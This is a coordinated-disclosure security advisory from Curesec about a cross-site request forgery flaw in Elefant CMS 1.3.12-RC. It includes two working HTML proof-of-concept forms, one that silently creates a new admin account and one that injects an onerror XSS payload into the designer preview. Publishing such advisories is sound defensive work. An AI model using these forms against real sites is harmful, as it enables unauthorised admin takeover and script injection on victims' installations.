Elefant CMS 1.3.12-RC Cross Site Request Forgery

2017-02-18 / 2017-02-19
Credit: Tim Coen
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

Security Advisory - Curesec Research Team 1. Introduction Affected Product: Elefant CMS 1.3.12-RC Fixed in: 1.3.13 Fixed Version https://github.com/jbroadway/elefant/releases/tag/ Link: elefant_1_3_13_rc Vendor Website: https://www.elefantcms.com/ Vulnerability CSRF Type: Remote Yes Exploitable: Reported to 09/05/2016 vendor: Disclosed to 02/02/2017 public: Release mode: Coordinated Release CVE: n/a (not requested) Credits Tim Coen of Curesec GmbH 2. Overview Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge. 3. Details CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks. Proof of Concept: Create New Admin: <html> <body> <form action="http://localhost/user/add" method ="POST"> <input type="hidden" name="name" value="admin3" /> <input type= "hidden" name="email" value="admin3@example.com" /> <input type="hidden" name= "password" value="admin3" /> <input type="hidden" name="verify_pass" value= "admin3" /> <input type="hidden" name="type" value="admin" /> <input type= "hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name= "photo" value="" /> <input type="hidden" name="about" value="" /> <input type= "hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name= "address2" value="" /> <input type="hidden" name="city" value="" /> <input type ="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value= "Submit request" /> </form> </body> </html> XSS: <html> <body> <form action= "http://localhost/designer/preview" method="POST"> <input type="hidden" name= "layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value= "Submit request" /> </form> </body> </html> 4. Solution To mitigate this issue please upgrade at least to version 1.3.13. Please note that a newer version might already be available. 5. Report Timeline 09/05/2016 Informed Vendor about Issue, Vendor announces fix 11/07/2016 Asked Vendor if recent releases fixes issues, Vendor confirmed 02/02/2017 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/Elefant-CMS-1312-RC-CSRF-189.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-StraAe 54 10365 Berlin, Germany


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